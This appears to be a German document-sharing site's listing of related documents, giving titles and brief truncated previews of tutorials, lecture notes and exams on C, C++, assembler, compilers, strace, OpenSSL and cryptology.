System Monitoring mit strace. Systemcall tracing System Monitoring mit strace Systemcall tracing 1 Gliederung Einleitung: Was ist strace Grundlagen zu strace Kernel Kernelspace vs. Userspace Systemcalls ptrace Simple strace (Demo) strace die wichtigsten

Mehr

Einführung in die Cross-Plattform Entwicklung Web Services mit dem Intel XDK

Einführung in die Cross-Plattform Entwicklung Web Services mit dem Intel XDK Einführung in die Cross-Plattform Entwicklung Web Services mit dem Intel XDK Einführung Dieses Hands-on-Lab (HOL) macht den Leser mit dem Intel XDK und dem Zugriff auf Web Services vertraut. Der Web Service

Mehr

DAP2-Programmierpraktikum Einführung in C++ (Teil 1)

DAP2-Programmierpraktikum Einführung in C++ (Teil 1) DAP2-Programmierpraktikum Einführung in C++ (Teil 1) Carsten Gutwenger 11. April 2008 Lehrstuhl 11 Algorithm Engineering Fakultät für Informatik, TU Dortmund Überblick Mein erstes C++-Programm Namensräume

Mehr

Einführung in die Programmierung

Einführung in die Programmierung : Inhalt Einführung in die Programmierung Wintersemester 2010/11 Prof. Dr. Günter Rudolph Lehrstuhl für Algorithm Engineering Fakultät für Informatik TU Dortmund Wiederholungen - while - do-while - for

Mehr

.NET Code schützen. Projekt.NET. Version 1.0

.NET Code schützen. Projekt.NET. Version 1.0 .NET Code schützen Projekt.NET Informationsmaterial zum Schützen des.net Codes Version 1.0 Autor: Status: Ablage: Empfänger: Seiten: D. Hoyer 1 / 6 Verteiler : Dokument1 Seite 1 von 1 Änderungsprotokoll

Mehr

Deklarationen in C. Prof. Dr. Margarita Esponda

Deklarationen in C. Prof. Dr. Margarita Esponda Deklarationen in C 1 Deklarationen Deklarationen spielen eine zentrale Rolle in der C-Programmiersprache. Deklarationen Variablen Funktionen Die Deklarationen von Variablen und Funktionen haben viele Gemeinsamkeiten.

Mehr

TimeMachine. Time CGI. Version 1.5. Stand 04.12.2013. Dokument: time.odt. Berger EDV Service Tulbeckstr. 33 80339 München

TimeMachine. Time CGI. Version 1.5. Stand 04.12.2013. Dokument: time.odt. Berger EDV Service Tulbeckstr. 33 80339 München Time CGI Version 1.5 Stand 04.12.2013 TimeMachine Dokument: time.odt Berger EDV Service Tulbeckstr. 33 80339 München Fon +49 89 13945642 Mail rb@bergertime.de Versionsangaben Autor Version Datum Kommentar

Mehr

Sind OpenSSL-Zertikate mit Exponent 3 unsicher?

Sind OpenSSL-Zertikate mit Exponent 3 unsicher? Sind OpenSSL-Zertikate mit Exponent 3 unsicher? Annie Yousar 2007-January-04 In OpenSSL erzeugt man Zertikate mit RSA-Schlüsseln (zum Beispiel mit 3096 Bit) mit dem Kommando openssl req -x509 -newkey rsa:3096.

Mehr

Programmierung 2. Übersetzer: Code-Erzeugung. Sebastian Hack. Klaas Boesche. Sommersemester 2012. hack@cs.uni-saarland.de. boesche@cs.uni-saarland.

Programmierung 2. Übersetzer: Code-Erzeugung. Sebastian Hack. Klaas Boesche. Sommersemester 2012. hack@cs.uni-saarland.de. boesche@cs.uni-saarland. 1 Programmierung 2 Übersetzer: Code-Erzeugung Sebastian Hack hack@cs.uni-saarland.de Klaas Boesche boesche@cs.uni-saarland.de Sommersemester 2012 Bytecodes Der Java Übersetzer erzeugt keine Maschinensprache

Mehr

DLLs (dynamic loaded libraries) mit MingW erstellen

DLLs (dynamic loaded libraries) mit MingW erstellen DLLs (dynamic loaded libraries) mit MingW erstellen Autor: Michel D. Schmid Datum: April 2, 2009 Contents 1 Einführung 1 1.1 Open-Source Tools.......................................... 1 2 Beispiel 1:

Mehr

4D v11 SQL Release 6 (11.6) ADDENDUM

4D v11 SQL Release 6 (11.6) ADDENDUM ADDENDUM Willkommen zu Release 6 von 4D v11 SQL. Dieses Dokument beschreibt die neuen Funktionalitäten und Änderungen der Version. Erweiterte Verschlüsselungsmöglichkeiten Release 6 von 4D v11 SQL erweitert

Mehr

Programmiersprachen Einführung in C. Unser erstes C-Programm. Unser erstes C-Programm. Unser erstes C-Programm. Unser erstes C-Programm

Programmiersprachen Einführung in C. Unser erstes C-Programm. Unser erstes C-Programm. Unser erstes C-Programm. Unser erstes C-Programm Programmiersprachen Einführung in C Teil 2: Prof. Dr. int main (int argc, char *argv[]) int sum = 0; for (i = 0; i

Mehr

Assembler-Programmierung

Assembler-Programmierung Assembler-Programmierung Dr.-Ing. Volkmar Sieh Institut für Informatik 3: Rechnerarchitektur Friedrich-Alexander-Universität Erlangen-Nürnberg SS 2011 Assembler-Programmierung 1/48 2012-02-29 Assembler-Programmierung

Mehr

Über die Status-Befehle kann die Peripherie der gesamten Hard- und Firmware abgefragt werden.

Über die Status-Befehle kann die Peripherie der gesamten Hard- und Firmware abgefragt werden. DOKUMENTATION SCHWABENPLAN MC-PROTOKOLL 1. EINLEITUNG Das Schwabenplan MC-Protokoll wurde entwickelt um jede Hauptplatine aus unserem Lieferprogramm mit einer Software zu verbinden. Die Programmiersprache

Mehr

Klausur in Programmieren

Klausur in Programmieren Studiengang Sensorik/Sensorsystemtechnik Note / normierte Punkte Klausur in Programmieren Sommer 2014, 16. Juli 2014 Dauer: 1,5h Hilfsmittel: Keine (Wörterbücher sind auf Nachfrage erlaubt) Name: Matrikelnr.:

Mehr

C++-Zusammenfassung. H. Schaudt. August 18, 2005

C++-Zusammenfassung. H. Schaudt. August 18, 2005 C++-Zusammenfassung H. Schaudt August 18, 2005 1 Datentypen 1.1 Grunddatentypen int (-32xxx bis +32xxx, implementerungs-abhängig) char -128 bis +128 float double bool (C++) int und char sind austauschbar:

Mehr

Projekt Weblog :: Integration

Projekt Weblog :: Integration Projekt Weblog :: Integration Die Implementation des Formhandling Frameworks wird nun im Projekt Weblog integriert. Dafür stehen 2 Möglichkeiten zur Auswahl. Sie haben Ihre eigene Implementation der Actions,

Mehr

Übungen zu. Grundlagen der Kryptologie SS 2008. Hochschule Konstanz. Dr.-Ing. Harald Vater. Giesecke & Devrient GmbH Prinzregentenstraße 159

Übungen zu. Grundlagen der Kryptologie SS 2008. Hochschule Konstanz. Dr.-Ing. Harald Vater. Giesecke & Devrient GmbH Prinzregentenstraße 159 Übungen zu Grundlagen der Kryptologie SS 2008 Hochschule Konstanz Dr.-Ing. Harald Vater Giesecke & Devrient GmbH Prinzregentenstraße 159 D-81677 München Tel.: +49 89 4119-1989 E-Mail: hvater@htwg-konstanz.de

Mehr

Praktikum IT-Sicherheit

Praktikum IT-Sicherheit IT-Sicherheit Praktikum IT-Sicherheit - Versuchshandbuch - Aufgaben Angriffstechniken In diesem Versuch werden verschiedene Angriffstechniken anhand von Beispielen vorgestellt. Die Ausarbeitung der Übungen

Mehr

Primitive Datentypen

Primitive Datentypen Primitive Datentypen 2 Arten von Datentypen: primitive Datentypen (heute) Objekte (später) Java ist streng typisiert, d.h. für jede Variable muß angegeben werden was für eine Art von Wert sie aufnimmt.

Mehr

COMPILER & CODE ANALYSE. Eine Einführung in die Code Analyse auf Grundlage von Compilern und deren Optimierung. 1

COMPILER & CODE ANALYSE. Eine Einführung in die Code Analyse auf Grundlage von Compilern und deren Optimierung. 1 1 COMPILER & CODE ANALYSE Eine Einführung in die Code Analyse auf Grundlage von Compilern und deren Optimierung. 1 INHALT Einleitung Werkzeuge Compiler Aufbau Optimierung Beispiel Code Analyse Einführung

Mehr

Bugs beim Kompilieren einer Betty-App: Vergleich ARM/Keil versus GCC

Bugs beim Kompilieren einer Betty-App: Vergleich ARM/Keil versus GCC Eine Betty-App ist eine Anwendung, die auf der Swissbetty von Pollin laufen soll. Sie verkehrt mit dem Grundprogramm BettyBase über Softwareinterrupts, also über SVC-Befehle. Da der GCC die nicht direkt

Mehr

Mac OS X Consoliero Teil 14: Webmail Agent unter Mac OS X Server 10.2

Mac OS X Consoliero Teil 14: Webmail Agent unter Mac OS X Server 10.2 Mac OSX Consoliero Teil 14 Seite: 1/10 Mac OS X Consoliero Weiterführende Dokumentationen für Administratoren. Mac OS X Consoliero Teil 14: Webmail Agent unter Mac OS X Server 10.2 Christoph Müller, PTS

Mehr

Klausur zur Vorlesung Grundlagen der C++-Programmierung

Klausur zur Vorlesung Grundlagen der C++-Programmierung Institut für Simulation und Graphik Magdeburg, 15.7.2013 Dr. Christian Rössl Klausur zur Vorlesung Grundlagen der C++-Programmierung Name, Vorname Studiengang Matrikelnummer Zusatzblätter Unterschriften

Mehr

I.1 Die Parrot Assemblersprache

I.1 Die Parrot Assemblersprache I.1 Die Parrot Assemblersprache Die virtuelle CPU Parrot ermöglicht die Verarbeitung der Parrot Assemblersprache (PASM). Zum Einstieg soll ein erstes Beispiel die Ausführung einer PASM-Datei zeigen. Legen

Mehr

VMscope GmbH. Plugins entwickeln für den VM Slide Explorer 2010. Daniel Heim, 17.08.2011 Seite 1/15

VMscope GmbH. Plugins entwickeln für den VM Slide Explorer 2010. Daniel Heim, 17.08.2011 Seite 1/15 Plugins entwickeln für den VM Slide Explorer 2010 Daniel Heim, 17.08.2011 Seite 1/15 Inhaltsverzeichnis 1 Allgemeines... 3 2 Ein Plugin schreiben... 4 3 Ein Plugin registrieren... 11 4 Aktivieren von Plugins...

Mehr

Python SVN-Revision 12

Python SVN-Revision 12 Python SVN-Revision 12 Uwe Ziegenhagen 7. Januar 2012 Vorwort Dieses Skript erhebt keinen Anspruch auf Vollständigkeit oder Richtigkeit. Es wird geschrieben, um mir als Gedächtnisstütze für den Umgang

Mehr

Grundlagen C und C++ Einheit 03: Grundlagen in C++ Lorenz Schauer Lehrstuhl für Mobile und Verteilte Systeme

Grundlagen C und C++ Einheit 03: Grundlagen in C++ Lorenz Schauer Lehrstuhl für Mobile und Verteilte Systeme Grundlagen C und C++ Einheit 03: Grundlagen in C++ Lorenz Schauer Lehrstuhl für Mobile und Verteilte Systeme Teil 1: Wiederholung C Heutige Agenda Nutzereingaben verarbeiten Teil 2: Grundlagen in C++ Erstes

Mehr

Funktionen Häufig müssen bestimmte Operationen in einem Programm mehrmals ausgeführt werden. Schlechte Lösung: Gute Lösung:

Funktionen Häufig müssen bestimmte Operationen in einem Programm mehrmals ausgeführt werden. Schlechte Lösung: Gute Lösung: Funktionen Häufig müssen bestimmte Operationen in einem Programm mehrmals ausgeführt werden. Schlechte Lösung: Der Sourcecode wird an den entsprechenden Stellen im Programm wiederholt Programm wird lang

Mehr

Instruktionssatz-Architektur

Instruktionssatz-Architektur Institut für Informatik 3: Rechnerarchitektur Friedrich-Alexander-Universität Erlangen-Nürnberg WS 2005/2006 Übersicht 1 Einleitung 2 Bestandteile der ISA 3 CISC / RISC Übersicht 1 Einleitung 2 Bestandteile

Mehr

Diplom-Ingenieur (BA) für Informationstechnik Ronny Bodach 2011 Eyewitness Forensic Software

Diplom-Ingenieur (BA) für Informationstechnik Ronny Bodach 2011 Eyewitness Forensic Software Diplom-Ingenieur (BA) für Informationstechnik Ronny Bodach 2011 Eyewitness Forensic Software 2 SQLITE 3 Datenbanken erkennt man an der Header-Signatur: SQLITE 3 Datenbanken speichern ihre Einträge ähnlich

Mehr

Zusammenfassung des Handzettels für Programmieren in C

Zusammenfassung des Handzettels für Programmieren in C Zusammenfassung des Handzettels für Programmieren in C In der handschriftlichen Kopie werden mehr Abkürzungen verwendet. Alles Grün markierte dient zum lernen und wird nicht auf den Handzettel übertragen.

Mehr

mywms Vorlage Seite 1/5 mywms Datenhaltung von Haug Bürger

mywms Vorlage Seite 1/5 mywms Datenhaltung von Haug Bürger mywms Vorlage Seite 1/5 mywms Datenhaltung von Haug Bürger Grundlegendes Oracle9i PostgreSQL Prevayler Memory mywms bietet umfangreiche Konfigurationsmöglichkeiten um die Daten dauerhaft zu speichern.

Mehr

Programmierung eines GIMP-Plugin

Programmierung eines GIMP-Plugin Programmierung eines GIMP-Plugin Was ist GIMP? GNU Image Manipulation Program Bildbearbeitungssoftware Bildkonvertierer Open Source Erweiterbar durch Plugins Mögliche Programmiersprachen für Plugin-Entwicklung

Mehr

Funktionaler Aufbau eines Computers Untersuchung von Delphi-Compilaten

Funktionaler Aufbau eines Computers Untersuchung von Delphi-Compilaten Funktionaler Aufbau eines Computers Im Folgenden soll der Weg untersucht werden, wie ein Programm, das von einem Compiler/Interpreter in Maschinencode übertragen wurde, schließlich vom Prozessor abgearbeitet

Mehr

4D Server v12 64-bit Version BETA VERSION

4D Server v12 64-bit Version BETA VERSION 4D Server v12 64-bit Version BETA VERSION 4D Server v12 unterstützt jetzt das Windows 64-bit Betriebssystem. Hauptvorteil der 64-bit Technologie ist die rundum verbesserte Performance der Anwendungen und

Mehr

Projekt u23 Symmetrische Kryptografie, Betriebsmodi von Blockchiffren

Projekt u23 Symmetrische Kryptografie, Betriebsmodi von Blockchiffren Symmetrische Kryptografie Betriebsmodi von Blockchiffren und was man sonst damit machen kann Martin e.v. https://koeln.ccc.de 12. Oktober 2015 Definition Krypto-System Tupel (M, C, K, E, D) Message, Ciphertext,

Mehr

Wer in der Grundschule ein wenig aufgepasst hat, sollte in der Lage sein schriftlich eine Zahl durch eine zweite zu teilen.

Wer in der Grundschule ein wenig aufgepasst hat, sollte in der Lage sein schriftlich eine Zahl durch eine zweite zu teilen. Teilen binär Teil 1 - Vorzeichenlose Ganzzahlen ============ Irgendwann steht jeder Programmieren vor diesem Problem. Wie teile ich eine Binärzahl durch eine zweite? Wer in der Grundschule ein wenig aufgepasst

Mehr

Karlsruher Institut für Technologie

Karlsruher Institut für Technologie Karlsruher Institut für Technologie Lehrstuhl für Programmierparadigmen Sprachtechnologie und Compiler WS 2010/2011 Dozent: Prof. Dr.-Ing. G. Snelting Übungsleiter: Matthias Braun Lösung zu Übungsblatt

Mehr

5.4 Klassen und Objekte

5.4 Klassen und Objekte 5.4 Klassen und Objekte Zusammenfassung: Projekt Figuren und Zeichner Figuren stellt Basisklassen für geometrische Figuren zur Verfügung Zeichner bietet eine übergeordnete Klasse Zeichner, welche die Dienstleistungen

Mehr

Verschlüsselung eines drahtlosen Netzwerkes

Verschlüsselung eines drahtlosen Netzwerkes Verschlüsselung eines drahtlosen Netzwerkes Die größte Sicherheitsgefahr eines drahtlosen Netzwerkes besteht darin, dass jeder, der sich innerhalb der Funkreichweite des Routers aufhält einen Zugriff auf

Mehr

Anhang A - Weitere Bibliotheken. Die Bibliothek Mail_02.lib ermöglicht das Versenden von Emails mit dem Ethernet-Controller 750-842.

Anhang A - Weitere Bibliotheken. Die Bibliothek Mail_02.lib ermöglicht das Versenden von Emails mit dem Ethernet-Controller 750-842. Anhang A - Weitere Bibliotheken WAGO-I/O-PRO 32 Bibliothek Mail_02.lib Die Bibliothek Mail_02.lib ermöglicht das Versenden von Emails mit dem Ethernet-Controller 750-842. Inhalt Mail_02.lib 3 MAIL_SmtpClient...

Mehr

Grundlagen der Informatik. Prof. Dr. Stefan Enderle NTA Isny

Grundlagen der Informatik. Prof. Dr. Stefan Enderle NTA Isny Grundlagen der Informatik Prof. Dr. Stefan Enderle NTA Isny 2 Datenstrukturen 2.1 Einführung Syntax: Definition einer formalen Grammatik, um Regeln einer formalen Sprache (Programmiersprache) festzulegen.

Mehr

Sicheres C Programmieren in Embedded Systemen ARM I (ARM7TMDI [1] ) Wintersemester 2010-2011

Sicheres C Programmieren in Embedded Systemen ARM I (ARM7TMDI [1] ) Wintersemester 2010-2011 Sicheres C in Embedded Systemen ARM I (ARM7TMDI [1] ) Wintersemester 2010-2011 Dipl. Ing. (FH) Ebrecht Roland, Infineon Technologies AG M.Eng (Electronic Systems) Güller Markus, Infineon Technologies AG

Mehr